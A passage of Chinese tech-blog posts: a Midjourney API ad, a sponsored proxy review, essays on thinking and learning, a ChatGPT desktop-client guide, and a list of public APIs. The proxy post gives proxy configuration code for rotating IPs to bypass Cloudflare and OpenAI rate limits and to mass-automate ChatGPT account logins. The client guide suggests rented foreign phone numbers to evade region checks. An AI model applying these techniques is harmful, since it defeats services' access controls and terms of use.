注意:当绘制未完全完成的时候,actions 字段是空,即无法对中间过程的图片做进一步的处理操作。绘制完毕之后,绘制过程中产生的 image_url 会被销毁。另外异步回调可以和流式输出一起使用。

好了,通过以上内容介绍,我们就了解了知数云 Midjourney API 的使用方法,有了这个 API,我们可以包装自己的产品,实现和官方 Midjourney 一模一样的对接。

套餐介绍

到了最后,大家可能好奇,这个价格套餐式怎样的情况呢?

知数云对上文介绍的 API 提供了三种套餐,分别是快速、慢速、极速模式,介绍如下:

  • 快速:背后的 Midjourney 账号均是 Fast 模式,能够以快速模式出图,正常情况下绘制完整图片时间在 1 分钟左右,开启流式模式会更快。
  • 慢速:背后的 Midjourney 账号均是 Relax 模式,生成速度无任何保证,快的话可能 1 分钟,慢的话可能甚至 10 分钟,适合对速度要求较低的用户。
  • 极速:背后的 Midjourney 账号军事 Turbo 模式,生成速度比快速模式更快,正常情况下绘制完整图片时间在 30 秒左右,开启流式模式会更快。适合对速度要求极高的用户。

价格怎么样呢?由于价格可能会动态变化,大家可以直接参考知数云的官方网站了解:https://data.zhishuyun.com/services/d87e5e99-b797-4ade-9e73-b896896b0461。但总的来说,能够以这个价格做到知数云 Midjourney API 这样的稳定性和并发的,业界寥寥无几,欢迎选购和评测。

谢谢!

技术杂谈

许多朋友问我有没有好用的海外代理。说实话,真的好用的并不多。

最近我了解到了一家还不错的海外代理,叫做 IPIDEA,我已经使用了一段时间了,觉得质量挺不错。

你可能知道,我最近在进行一些ChatGPT相关的研究,由于各种原因,我需要大量的海外代理才能够使用服务,这个代理实在是帮了我大忙。如果你有需要的话,可以参考下面我对这家代理的使用体验来选购。

介绍

首先,我介绍一下这家代理的一些特点。他们并不像国内的很多代理厂商一样提供的是一些国内代理。这家代理主要提供海外代理,因此他们的用户大部分是有海外代理使用需求的人。比如说,最近非常火爆的ChatGPT,就对这类服务有很大的需求。

这家代理的官方网站是 http://www.ipidea.net/?utm-source=cqc&utm-keyword=?ipidea。从他们的介绍可以看到,他们是一家全球范围的IP代理服务商,能覆盖全球220个国家和地区,大部分代理实际上是住宅IP。

官方介绍这家的代理IP数量大约是九千万左右,这个数量非常庞大,同时官方介绍说代理的可用率是99.9%。

下面我们来看一下他们的一些套餐类型:

  • 动态住宅代理:这种代理实际上就是用真实的住宅用户的 IP 搭建的代理。一般来说,住宅代理对于很多场景的使用封禁概率会比较低,因为很多厂商对封禁住宅代理是比较谨慎的。动态住宅代理其实就是可以定时切换的IP,比如说做网络爬虫,我们就需要不断变换的不同的代理IP,这样可以进一步的减少被封禁的概率。
  • 静态住宅代理:相对于动态代理来说,静态住宅代理的特点就是长效稳定,可以一直获取一个稳定不变的代理 IP,适合长久的稳定的海外网络环境使用。比如说,我们要进行自动化网站的爬取,如果在一个页面内 IP 地址频繁变动会增大被风控的概率。所以,如果有一个长效稳定的住宅 IP 代理,就会非常方便。
  • 数据中心代理:这种代理实际上是很多服务器厂商的服务器搭建起来的代理。例如腾讯云、阿里云、微软云等服务器所在的IP地址段,就属于所谓的数据中心的 IP 地址段。因此,用这些服务器搭建出来的代理就叫做数据中心代理。一般来说,这种数据中心代理相对于住宅代理更容易被爬虫封禁,但是这种代理的优势就是价格更加便宜,而且网络速度也会相对较好。

基本上,这家代理服务商涵盖了上述这三种类型,大家可以根据自己的需要来选择购买。

基本使用

首先,如果要使用代理的话,第一步自然是注册和登录,

这里值得一提的是,这家代理支持免费的测试,不需要一定充值才能用,就官网直接注册就可以获得一些免费额度:

注册和登录的详细流程我就不赘述了,注册登录完之后还需要进行实名认证才能开始使用代理。

下面,我会简单介绍一下这个代理服务的基本使用方法。你可以点击菜单上方的“获取代理”,然后会跳转到以下页面。

https://www.ipidea.net/getapi/

这里的代理使用方式分为两种,第一种是 API 提取的方式,第二种是隧道代理。下面我会先介绍第一种,即 API 提取的方式。

如图所示,我们切换到 API 提取方式的介绍页面,这里有三个子菜单:全球动态、独享数据中心、静态住宅。这三种类型我已在前面的介绍中涉及过,就不再详述。

以全球动态这一菜单为例,你可以看到页面下方显示了当前账户的余额和一些流量信息。再下方则是API提取的相关配置。

下面有许多配置选项,如提取数量、国家和地区、协议、数据格式、分隔符等,我们可以按需选择,然后点击按钮生成提取链接。

生成提取链接后,系统会自动提示是否加入白名单,因为这家代理商要求必须添加白名单才能使用代理。然后我们可以在右侧找到API提取的链接。

打开这个链接,我们就可以获取一部分代理的IP和端口信息。因为我们刚刚添加了白名单,所以当前这台主机可以直接提取。

后面的步骤我就不再赘述,我们可以直接使用爬虫将代理设置上,然后进行网站的爬取。

第二种就是隧道代理,简单来说,我们在设置代理时不需要知道具体的IP和端口。这个代理隧道可以帮助我们自动选择可用的代理,我们只需要设置一条固定的代理即可。

在下方有相应的教程,你可以看到这里有动态、长效ISP和动态数据中心这三种选项。

使用方法类似,我们可以在下方自由选择配置,然后进行代理隧道的设置。

在左侧选择完后,右侧会出现对应的命令行,我们可以直接复制这个命令完成代理的测试。

你可以看到这里,我们请求了一个测试网站,然后测试网站就可以将当前代理IP的相关信息打印出来。

这里值得注意的是,如果要使用这个代理,需要在海外环境中。在国内环境是无法使用的。

使用过程

接下来,我将简单分享一下我使用这些代理的过程。

近期,我在研究ChatGPT相关服务的搭建,因此在这个过程中,我确实有很多使用代理的需求。

动态数据中心/全球动态

我将动态数据中心和全球动态一起进行说明,因为它们的使用方式基本相同,二者的区别在于前者主要提供数据中心的代理IP,而后者主要提供动态的住宅代理。因此,前者的价格相对较低,而后者的价格和质量则相对较高。

我使用这些代理的主要场景是搭建ChatGPT相关的API,但这个API并非使用官方OpenAI的key,而是用爬虫模拟网页的方式实现的。如果你感兴趣的话,可以了解一些开源项目,例如https://github.com/acheong08/ChatGPT,该项目的V1版本就是采用爬虫模拟网页形式实现API服务的。

那么,为什么我们需要代理呢?

实际上在这个服务背后,我们需要一个可以绕过Cloudflare网关的服务,而搭建这个网关就需要大量的动态代理,这样我们就可以突破单个IP地址请求OpenAI服务的限制。

如果你感兴趣,可以了解一些开源的实现,如https://github.com/acheong08/ChatGPT-Proxy-V4

在这个服务背后,你会注意到有一个代理设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func main() {

if http_proxy != "" {
client.SetProxy(http_proxy)
println("Proxy set:" + http_proxy)
}

PORT := os.Getenv("PORT")
if PORT == "" {
PORT = "9090"
}
handler := gin.Default()
handler.GET("/ping", func(c *gin.Context) {
c.JSON(200, gin.H{"message": "pong"})
})

handler.Any("/api/*path", proxy)

gin.SetMode(gin.ReleaseMode)
endless.ListenAndServe(os.Getenv("HOST")+":"+PORT, handler)
}

其中,http_proxy 参数可以设置为我们前面提到的隧道代理。例如:

1
export http_proxy="http://mAZFcgDR-zone-custom-region-us:<password>@na.ipidea.io:2336"

这样,我们就成功地将IPIDEA的隧道代理进行了设置。

一旦服务运行起来,由于代理本身是全球动态或者动态数据中心,因此里面的代理IP会动态变化。这样,对于单个账号来说,每次请求OpenAI的IP都在变化,就可以解除单个账号访问的限制。

注意:我请求OpenAI是用的access_token的方式,目前并不会造成账号被封的问题。

动态长效 ISP

我们刚才讨论了通过API请求方式的隧道代理设置,这种方式相对方便。但在某些情况下,我们实际上想要的是更稳定、长效的代理,即动态长效ISP。

我通常会将这种代理用于一些模拟登录服务。由于我需要使用浏览器进行这些服务,如果我将浏览器设置为一个动态切换的隧道代理,那么在一次网页请求中,所有请求的IP地址都可能是不同的。因此,我们实际上希望在同一浏览器会话下,IP地址能够保持相对稳定。

于是,动态长效ISP就能派上用场。我通常使用模拟浏览器驱动的方式来启动浏览器,然后动态设置代理IP为动态长效ISP。设置完成后,我便可以启动浏览器进行网页模拟,比如登录模拟GPT网站等。

下面是一个简单的 Playwright 的代理设置样例:

1
2
3
4
5
6
7
def init_browser(self):
self.browser = p.chromium.launch(headless=False, proxy={
'server': "http://proxy.ipidea.io:2336",
"username": "mAZFcgDR-zone-isp-session-2146kz42f-sessTime-5",
"password": "<password>"
})
self.page = self.browser.new_page()

浏览器设置完成后,我就可以执行一些自动化操作,比如模拟登录ChatGPT、模拟登录其他网站等。在这个过程中,我几乎没有遇到不可用的情况,可用率非常高。

有了这个动态长效 ISP,我成功完成了大量 ChatGPT 账号的模拟登录过程,可谓是非常方便!

总结

好了,到这里我这篇文章就接近尾声了。

我们来回顾下这篇文章的内容,首先对 IPIDEA 做了基本介绍,然后介绍了基本的使用方法以及我自己的使用体验。

整个体验下来我觉得还是挺顺的,没有遇到什么无法访问的时候,整个访问速度也不错。

如果你也有海外代理的需求,我非常建议你也来试试看。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

思考, 简单却有困难的词。它离我们“近在咫尺”却又似乎“远在天涯”。那究竟什么叫思考?什么是思考?那么该如何思考?

思考的定义

说到思考, 那咱们也不得不对其进行追本溯源, 去揪一下它的细节。什么是思、什么是考、什么是思考
思,汉语一级字,读作sāi或sī,在指“心情”等时旧读为sì,最早见于金文,其本义是深想、考虑,由此引申出怀念、悲伤、意念、创作的构想等。《说文解字》认为是“容也”。
考(拼音:kǎo)是汉语通用规范一级字(常用字)。在甲骨文和金文中,考和老是同一个字,均像一老人举杖之形。考字用为年老之义,从商代经西周一直延用至于春秋战国时代。
先秦时“考”常用作对父亲的称呼,可以指在世的,也可以指去世的。
现代汉语的“考”多用于考察、考核,又表示研究、推求。这些都是后来出现的假借义,与考的本义无关。
那什么是思考呢?由上可知思就是深想,考虑就是验证, 二者形成闭环故为思考。那么思考就是,就是
思考就是考虑与验证的过程!
btw

  • 考虑在此的意思是检索,检索已有的知识。
  • 验证在此的意思是过滤,过滤检索的知识。

先split再merge,那就是答案啊

思考是思维的一种探索活动,思考力则是在思维过程中产生的一种具有积极性和创造性的作用力。
思考源于主体对意向信息的加工。人之思考是自己心智对意向——信息内容的加工过程。任何思考的进行都是在
联想—连锁反映中进行的推理与演算——信息内容的加工。如:相似联想、接近联想、对比联想、因果联想等理解来进行思考是必然的。

思考流程

由上可知, 思考流程是检索 -> 验证 -> 加工(排列组合) => 结果。需要注意的是检索与验证并不是仅是单次的,也可以是多次。

论3 * 4的思考过程

是如何计算出来的呢? 当然,各位早就知晓了答案, 不就是12嘛。 浪费表情,so easy, 摊手🤷


思考过程如下三种情况所示

  1. 无法理解数字3、乘以✖️、数字4的含义。 思考失败
  2. 理解数字3、乘以✖️、数字4的含义,回归原始。点阵图数数来解决
    1. 建立横竖轴(x、y)
    2. x轴放三个点点·,y轴放四个点点·(见代码片段-1)
    3. 一个一个数, 是12诶!
1
2
3
4
· · ·
· · ·
· · ·
· · ·
  1. 学会乘法, 知道乘法表(嘿嘿,回来。你已经会背乘法口诀表啦!)。直接三四一十二,perfect

复盘 3 * 4

在上面对
的各种假设的可能性进行了推延生与证明。相信在此时你也和笔者一样又有新的疑问了, 3* 4 不是我们数(算)
出来的嘛?不是,在这之前存在一些“可选”项
对, 是思考出来的。 流程如下

拓展:计算机“思考”过程

  1. 书写代码(在此省略代码编写的种种)
  2. 计算机进行“思考”
    1. 思:编译(将代码转化成计算机可理解的“知识”)。(编译过程,在此不过多赘述),
    2. 考:验证编译
  3. 加工(位运算)
  4. 得到结果

题外话:人与计算机的思维差异

人:“聪明”,但加工
计算机:“愚昧”, 但加工快。快速的准确的yes or no, for loop

所以,该如何写出“多快好省”的代码呢?尝试二者结合试试

谈谈想象力或创造力

其本质还是思考

  1. 检索
  2. 验证
  3. 加工(排列组合)

例子:钢铁侠

这世界本没有钢铁侠,只是有人给他创造,想象了出来,并赋予其名。
zoom out(宏观角度): 钢铁(科技与狠活) + 人(侠)
zoom in(微观角度):类似于计算机,譬如ACR核反应堆(类似于电脑的电) 、贾维斯(人工智能) 等等

提高思考力?

思考力:即思考的能力

由上可知,思考能力的强弱取决于两部分。

  1. 已有背景知识的存量
  2. 梳理加工过滤的能力

那么对此,我们可以得出。得出提高思考力的方法

  • 增加知识的存量质与量
    • 量: 拥有更多的知识
      • 输入-> 学习、思考 -> 化为己用
      • 建立连接:学习并非单纯的记忆,而是连接。旧知识 + 新知识 => 新认知
      • 点-线-面-体-势,知识结构化,建立有关联的强链接
        ,让提取的知识不在是点而是线、是面、是体、甚至是势。不在有知识孤岛,也让思考更加开阔不在局限
  • 增强梳理“过滤”能力
    • 随意搭配-> 创造力
      • 加减乘除,排列组合
    • 套路搭配 -> 方法论
      • 怎么切、怎么分 流程与关键节点

case by case: 构建思考框架

经过对于其的整合梳理,我们不难得到可复用的方法论。常见的方法如下

逻辑推理:三段论
高效沟通:PREP法则
工作总结:AEAP
创业计划:商业模式画布
工作规划:SMART原则
质量管理:PDCA原则

学习能力

  • 学习金字塔
  • 费曼学习法
  • 刻意练习
  • RIA阅读法
  • 二八定律

思考能力

  • 黄金圈法则
  • 八何分析法(5w3h、6w2h)
  • 思维导图
  • 策略选择:SWOT分析
  • 梳理信息:MECE法则
  • 10/10/10法则
  • 冰山模型

创造能力

  • 六顶思考帽
  • 头脑风暴
  • 逆向思维
  • 类比思维
  • SCAMPER创新思维

设计能力

  • 设计思维
  • 最小可行性产品(MVP)
  • 峰终定律
  • AARRR漏斗模型
  • 上瘾(HOOK)模型

共情能力

  • 五大圈层模型
  • 高效倾听模型
  • 情绪ABC模型
  • 乔哈里视窗
  • 冰山模型

演讲能力

  • 故事五要素
  • 结构表达: SCQA原则
  • 结构阐述:STAR原则
  • SRAR模型
  • STORY模型
  • “英雄之旅”模型

领导能力

  • 领导力梯队
  • 情景领导力模型
  • GROW教练模型
  • 管理4C模型
  • TOPIC模型

整合能力

  • 杠杆思维
  • POA行动
  • 系统思维
  • 整合思维模型
  • 多元思维模型

小结

既要有“底层逻辑”也要有“顶层设计”。

事物间的共同点,就是底层逻辑。只有不同之中的相同之处、变化背后不变的东西,才是底层逻辑。
只有底层逻辑,才是有生命力的。只有底层逻辑,在我们面临环境变化时,才能被应用到新的变化中,从而产生适应新环境的方法论。所以我们说“底层逻辑+环境变量=方法论”

以终为始,目标导向。
如论是如何思考,何种方法论。最终都是为“问题”所服务的, 切勿拿着锤子看什么都是钉子!这并非此文的本意。
上述关于“如何思考” 阐述是微观,那么也希望你也能站在更顶层层次看待anythings

Referer

  • https://baike.baidu.com/item/%E6%80%9D/53644
  • https://baike.baidu.com/item/%E8%80%83
  • https://baike.baidu.com/item/%E6%80%9D%E8%80%83
  • 如何才有高效的思考能力
  • 人人都能变聪明的四个“核武器”
  • 《底层逻辑》
  • 《麻省理工深度思考法》

技术杂谈

这段时间,想必大家肯定早就领教过 ChatGPT 的威力了吧。

我们跟它说各种内容,比如写代码、汇总周报、写邮件、写诗句、查百科什么的,ChatGPT 都对答如流,根本不在话下。

比如说让它基于 Vue3 写一个 div的拖拽实现,思路清晰,代码正确:

比如让它汇总和润色一个周报:

写的还蛮“充实”的感觉的。

当然还有各种有趣的功能大家去 ChatGPT 继续试试吧~

那其实这次我要介绍的不是 GhatGPT,而是一个 ChatGPT 的客户端。

为什么要客户端呢?因为有了客户端我们就不用每次单独开一个浏览器,而且也不会迷失在无数的 TAB 里面了,而且客户端其实基于 ChatGPT 多了一些新的功能。

让我们来看看吧。

介绍

开门见山,这个客户端的 GitHub 地址是:https://github.com/lencx/ChatGPT,支持 Mac、Windows、Linux。

截止写文的时候,客户端已经更新到 0.7.0 版本,支持的功能有:

  • 多平台的支持,Mac、Linux、Windows
  • 支持导出 ChatGPT 的历史,生成图片、PDF、分享连接
  • 自动升级提醒
  • 通用/全局快捷键
  • 系统托盘设定
  • 支持一些快捷命令和配置选项

下面我们就来看看怎么搞吧。

安装

安装其实挺简单的,官网提供了下载安装包,大家可以到这里 https://github.com/lencx/ChatGPT#-downloads 选择自己平台的安装包下载安装。

我这边是 Mac,安装完了之后会有这样的一个图标:

打开之后需要让我们注册或登录 OpenAI 的账号。

界面和 https://chat.openai.com/ 是一样的,因为客户端其实就是外包了一个网页而已:

需要提醒下的是,如果你从来没用过 GhatGPT,在注册新账号的时候,有一步是验证手机号,这时候如果我们输入国内手机号会被提示“地区不被支持”。这时候建议开全局国外代理,并且使用国外手机号来完成验证。

这里推荐一个网站 https://sms-activate.org/,我们可以花一块钱左右买到一个 OpenAI 验证的手机号接收一次验证码。

搜索 OpenAI 服务,并选择对应地区即可,我选择的是马来西亚能成功接收到验证码(一开始选了一个印度的但没接收到验证码),而且也挺便宜的。

就是这样,希望大家能成功注册到一个 ChatGPT 账号。

测试

接下来就是一些常规操作了,进入之后我们就可以输入各种文字来尝试 ChatGPT 了,比如:

这时候大家会说,这客户端和网页有啥不一样啊?网页也有这功能啊。

有的,看图里面,右侧的几个其实就是客户端多出来的功能,分别是生成分享图片、PDF 和链接。

比如我点一下“生成分享图片”的按钮,就可以生成这样的一个分享图,还蛮不错的:

当然 PDF 也是一样的。

快捷命令

当然我觉得客户端更好用的功能在于一个叫快捷命令的功能,我们可以输入一些命令,启用 ChatGPT 的一些功能。

首先,我们输入一个 / 就能激活快捷命令,如图所示:

我们可以看到,这里已经内置了好多个快捷命令,比如 poet、chef、rapper 等,代表了让 ChatGPT 实现的一些功能。

比如这里有一个 /javascript_console 的快捷命令:

选中之后输入框就会多这么一些文字:

I want you to act as a javascript console. I will type commands and you will reply with what the javascript console should show. I want you to only reply with the terminal output inside one unique code block, and nothing else. do not write explanations. do not type commands unless I instruct you to do so. when i need to tell you something in english, i will do so by putting text inside curly brackets {like this}. my first command is console.log(“Hello World”);

大意就是告诉 ChatGPT,我会告诉你一段 JavaScript 代码,你帮我执行并输入结果,然后我的第一个命令是一个 console.log 语句。

对,就是这样,直接发出去即可:

然后 ChatGPT 就会按照我们说的来执行了。

接着,由于 ChatGPT 有记忆功能,它能知道刚才我们让它干了什么。

所以接下来,我们就可以接着让它干事情了。

接着继续输入第二段代码,它就能接着继续输出了:

是的,就是这个流程。

还有很多其他的功能,比如输入 /poem 作诗:

接着我们输入新的作诗要求就可以了:

OK,这下大家应该理解了吧,我们利用了 ChatGPT 的上下文记忆功能,结合一些快捷键,就能快速让 ChatGPT 帮我们完成想要的事情了。

那所以,如果我们把想要 ChatGPT 做的工作都收录整理下来,那么以后是不是就能直接调用了。

比如说,我输入一个中文类别的命令 /汇总周报,然后描述好要让它帮我们做什么,接着就可以让它帮我们汇总周报了。

想的挺好,ChatGPT 客户端可以做到吗?可以!

我们通过 ChatGPT 的菜单里面打开 ‘Control Center’,就可以看到这样的一个配置界面:

我们可以切换到 Language Model - User Custom 部分,这里我们就可以添加一些自定义指令了。

比如我这里点击 Add Model 按钮,添加这样的一个指令:

这里第一个 /{cmd} 就是我们到时候实际敲的命令,Act 就是对命令的一个描述,会出现在命令的描述里面,Prompt 就是告诉 ChatGPT 的话,这里我们需要详细描述一下需要 ChatGPT 做的事情,并给出一个示例。

编辑好了之后点击保存。

然后重启下 ChatGPT,这时候我们就可以输入 /汇总周报 命令了:

然后点击空格转换为实际的文字,然后发出去:

OK,接下来我们就可以让它帮我们整理第二份周报了,而且第二次也不需要告诉他那么多前提了。

所以,到现在大家能体会到这个快捷指令的便捷用途了吧,我们可以提前录入好一些要求,然后第二次我们就无需赘述那么多要求,直接输入最直接的要求,ChatGPT 就可以帮我们完成其中的操作了。当然第一次的时候,我们也可以自行替换想要替换的输入文本,同样也可以达成想要的效果。

有人说?那我应该整理一些什么命令呢?都行呀,比如整理周报、起草邮件、写 Python 代码,都行。

这里给大家介绍一个资源,叫 awesome-chatgpt-prompts,GitHub 地址是: https://github.com/f/awesome-chatgpt-prompts,这里面汇总了各种快捷命令,大家也可以到里面寻找些灵感,也可以贡献命令到这个 Repo,这样命令就会被自动收录到 ChatGPT 这个客户端里面。

总结

好了,这次给大家介绍了 ChatGPT 客户端的基本使用,想必 ChatGPT 网页来说,会有如下的几个优点:

  • 独立的窗口运行,不用每次单独打开浏览器,也不会迷失在茫茫的 TAB 里面。
  • 带了额外的转换分享功能,比如生成图片、生成 PDF、分享链接等,这是网页所不具备的功能。
  • 带了便捷的快捷命令功能,利用它我们可以快捷输入想要的命令,并且可以自己管理一些命令,已备后续之需。

大家可以试用哈,希望这次分享对大家有帮助!

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

技术杂谈

在某些情况下,我们可能想做一些 Demo 或者写一些测试,比如想做个网站展示一些宠物的图片,或者想实现某个 API 请求的实现逻辑,这时候你会怎么做呢?

自己找点数据然后搭建一套 API 接口吗?

可以是可以,虽然说并不是特别麻烦,但准备数据、编写逻辑、设置跨域等还是要费一些时间的。

其实,网上有很多很多免费的 API 接口可以直接拿来用的,而且各种类型的数据应有尽有,有了它们,我们就不用费尽心思自己搭建 API 了。

接下来就来给大家介绍一个库,里面收集了各种公开的数据接口。

public-apis

这个仓库就叫做 public-apis,其 GitHub 地址是 https://github.com/public-apis/public-apis

其介绍是:

A collective list of free APIs for use in software and web development

一套公开 API,可以用于软件和 Web 开发。

这些API 特别全面,包含了各种各样的类别。

比如我们先来看下他的一些分类:

如图所示,可以看到这个仓库划分了很多大类别,比如动物、设计、书籍、商业、娱乐等几十个大类,按照字母排序,每个大类都有对应的 API 可供我们使用。

比如我们先看下动物的分类,则可以发现类似如下的表格:

这个表格一共有五列,包括 API 的地址、描述、是否需要 Auth、是否支持 HTTPS、是否支持跨域,可以看到动物类别就有好多 API,比如 Dogs、Cats、Bear 等等,这些 API 就可以返回一些猫、狗、熊等图片的列表。

一般来说,我们可以选择 Auth 为 No,HTTPS 为 Yes、CORS 为 Yes 的,即使用 API 不需要 key,同时支持 HTTPS,而且支持跨域,这样在网页中我们就可以自由调用了。

我们随便选几个来看下。

实例演示

Dogs API 就是其中一个,网址为 https://dog.ceo/dog-api/

打开之后我们可以看到一个介绍网站,同时这里有一个 Fetch 按钮,我们点一下就可以获得一张随机的狗狗图片。

其 API 地址就是 https://dog.ceo/api/breeds/image/random,我们也可以直接用浏览器打开,结果如下:

可以看到返回结果是 JSON 格式,我们对其进行简单解析就可以提取里面的 message 字段,也就能获得一张随机的狗狗照片,然后展示在网站上了。

简单写个 html 页面,几行代码就可以实现随机狗狗图片的展示:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<img id="dog" />
</body>
<script>
fetch("https://dog.ceo/api/breeds/image/random")
.then((response) => response.json())
.then((data) => {
document.getElementById("dog").src = data.message;
});
</script>
</html>

运行效果如下:

是不是还是挺方便的?

另外回到网站本身,它还提供了相关文档介绍所有接口的用法:https://dog.ceo/dog-api/documentation/

比如这里有列出所有狗的品种、根据品种返回狗的照片、随机狗的照片等等,具体可以去看文档哈。

其他介绍

另外其实还有很多有意思的 API,我们随便来看几个。

EmojiHub

比如 EmojiHub 这个 API 提供了接口来返回一些 Emoji 表情,种类丰富多种多样,https://github.com/cheatsnake/emojihub

Icon Horse

Icon Horse 提供了各种返回网站图标的功能,https://icon.horse/

比如维基百科就可以填写 Wikipedia.org,就可以获取其网站图标了:

bible-api

这个 API 提供了多语言版本的《圣经》内容:https://bible-api.com/

Free Dictionary API

Free Dictionary API 提供了各种单词的查询和释义,我们可以直接用 API 获取某个单词的含义、发音、音标、翻译等:https://dictionaryapi.dev/

EconDB

EconDB 提供了全球宏观经济数据,公开免费:https://www.econdb.com/

NBA stats

NBA Stats 提供了 NBA 有史以来各种数据,比如每场比赛数据、球员数据等等:https://any-api.com/nba_com/nba_com/docs/API_Description

Nobel Prize

Nobel Prize 这个接口返回了有关诺贝尔奖项的各种记录和活动:https://www.nobelprize.org/about/developer-zone-2/

Faker API

Faker API 提供了各种假数据生成器,比如生成假名字、假地址、假电话号码、假地理位置等等,方便测试和开发使用:https://fakerapi.it/en

更多

总之,还有很多很多很多,当然其中也有收费的。

大家到时候有想要的数据可以来这里先搜搜看,说不定会有意外惊喜呢!

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

技术杂谈

img

最近在工作上遇到了一个新词:dummy change,是在邮件沟通过程中遇到的,起因是某个 Pipeline 有个 Bug,但配置文件又没啥问题,所以对方建议让我对配置文件做点 dummy change,然后来触发 Pipeline 的刷新。

我一开始就不懂,啥叫 dummy change 啊?

然后我就查了下,这里分享给大家。

dummy,意思就是假的意思,就是假的 change,就是实际上变了,但看起来又没变。

img

比如,一个文件,我们在某个地方加个空格、加个空行,表面上其实配置文件的内容没有变化,配置还是原来的配置,但是文件本身因为一个空行或者空格而发生了变化。

所以,dummy change 其实大多数就是文件某处改个空格、加个空行、修改点无关紧要注释啥的,没啥本质影响,但实际让文件本身变化,以便引发一些相关操作。

希望对大家有帮助。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

个人随笔

时代在发展,我们也需要不断进步和学习。

在一生中我们需要学习各种各样的新知识,但有时候我们在学习的时候可能感觉比较茫然,或者无从下手,或者不知道这个知识到底有什么用,或者学的过程中都不知道学到哪里了,还有多少才会学完。

这里,分享我看《暗时间》书了解到的一些技巧。

主要就是三个,也就是说,学习知识时来问自己三个问题:

  • 它的本质是什么

  • 它的第一原则是什么

  • 它的知识结构是怎样的

它的本质是什么

我们拿技术知识为例,比如我们要学 Django 开发一个网页,那么我们实际上是学了什么?实际上是学了一些 Django 的 API 和命令的用法、 Python 的语法。我们根据 API 的操作说明做了,那其实就能完成一个网页的搭建,因为我们使用了它现有的框架,基于现有的轮子来做东西。

但这里来了一个问题,假如我们之前是基于 1.10 版本的 Django 框架开发的网页,但现在 Django 升级到了 3.0,很多 API 的用法都变了,那之前 1.10 的 API 即使我们用的滚瓜烂熟甚至都背过了都没啥用了,因为 API 改了,那我们就不得不再去查文档看具体的用法。

这时候,我们要想想,学习这个 Django 技术的过程中,我们学到的是什么?实际上我们学到的就是 Django 框架的一些 API 用法,利用 Django 这个框架写了自己的业务逻辑而已,Django 已经帮我们处理了很多底层的东西,从而快速成型了一个网站。而网站的本质又是什么?实际上就是用户在浏览器中输入对应的 URL,然后服务器对相应的请求进行处理,并返回对应的内容,这本身又涉及到计算机网络很多的基础知识,比如请求都包含了什么,怎样进行逻辑处理,怎样和数据库交互,怎样返回响应,这些 Django 都帮我们做了,我们在写的时候无需关心得这么底层,但我们需要知道这背后发生的事情。如果我们压根不知道 Django 背后发生了什么,只是知道 API 变了,那出现问题的时候,我们根本不知道怎么去追查问题,不可能去从源码级别分析根本原因,也不知道怎么去优化和提速。

上面只是一个例子,很多知识其实背后都有其本质的东西,和一些不变的东西。而越本质的东西基本上变化的情形越少。

我们经常会感叹自己跟不上新技术的发展,却往往忽略了这些新技术背后都是什么。现在很多的新技术只是一层皮而已,比如 Django 框架基于 Python 对计算机网络、数据库等底层内容进行了很好的封装,比如 Scrapy 框架底层就包括网络请求处理、消息队列等内容,Vue 框架则是基于原生 JavaScript 对数据监听和绑定做了很好的封装和优化,通过虚拟 DOM 等机制来处理了页面渲染。那这些技术还有没有更底层的内容呢?有,比如浏览器、操作系统、计算机体系结构、计算机组成相关的内容。越追到底层,越发现其本质越是不变的。

另外,除了一些技术相关的本质内容,还有一些不变和永不过时的东西,比如算法和数据结构、基本的程序设计理论、良好的编码习惯、分析和解决问题的能力、强大的学习能力、旺盛的求知欲、良好的思维方式。

所以,我们尽量去抓住一些本质的、不过时的东西,这些才是最稳的。

第一原则是什么

刚才我们说了,学一个东西我们要了解本质的东西,那么难道我要在学习 Django 框架的时候要把计算机网络、操作系统、计算机组成原理等所有的东西全都挨个学一遍?这得学到猴年马月啊。

所以,这里需要澄清的一点是,我们说要了解本质是什么并不是要求我们现在立马就把本质的东西全部去了解清楚,因为这里面的体系实在是太庞大了,递归学进去啥时候才能出得来啊?

所以,我们可以先从大致层面上知道它的本质,知道这个要学的知识在整个知识体系中处于一个怎样的位置上,有一个整体大局观。然后其本质的东西,我们有时间可以重点再一个个突破,因为毕竟这是很多技术的共性。

所以,这里就再引出了第二个需要注意的点:我们要知道学习这个东西的第一原则是什么。

比如我要学习好 Django 框架,那么我的原则其实就是学会 Django 的 API 和命令的用法,然后能够利用它搭建好网站,知道它能够做什么,有什么优缺点,有问题了知道怎么查,这是第一原则。

在学习的时候,我们按照这个原则来学习,这样整体效率和方向感就会好很多。

这“第一原则”听起来和刚才说的“了解本质”有点冲突啊?但实际上不冲突,“第一原则”说的是我们学知识的时候我们心里有一个目标和原则和大方向,“了解本质”是说我们也要知道这项知识它的整体定位和其背后都是什么。至于本质的东西,我们后面可以再慢慢去击破,去慢慢深入了解。

知识体系是什么

知识体系嘛,顾名思义,就是整体脉络。

我们常常会觉得学习一个技术,不知道啥时候是个头,不知道学到哪里了,这其实就是缺乏了整体的知识体系。

一个知识体系可以帮我们在头脑中建立一个整体的框架,其实就像一本书的目录大纲,一门课的思维导图一样,多去了解下这些内容,会帮助我们很好地建立一个知识体系。

另外,某些知识可能并没有现成的知识体系,我们也要想办法构建一个知识体系。

这里有一个小技巧,学习一个领域知识的时候,时时把“最终能写出一篇漂亮的综述”放在大脑中提醒自己,这有助于我们在阅读中有意无意地整理知识的结构、本质和重点,经过整理之后的知识理解也会更深刻。

共勉。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

技术杂谈

我们肯定经常跟图片打交道吧,不管是写文章、传图片还是网站开发,我们或多或少都要插图,但有时候图片体积比较大的时候就会带来加载速度慢的一些问题,那么这时候你可能会有这么一个需求:

有没有什么办法在保证图片清晰度的时候把图片的体积压缩到最小?

大家通常会用什么办法呢?

我的话其实用的比较多的办法就是使用 PS,然后另存为 Web 所用格式,但用到这个功能我还得额外装个 PS,感觉比较麻烦。

所以,今天给大家推荐一个非常好用的图片压缩网站,可以将图片体积缩小一大半,同时几乎不改变图片清晰度。

简介

直接开门见山,网站地址是:https://tinypng.com/,名称就叫 TinyPNG。

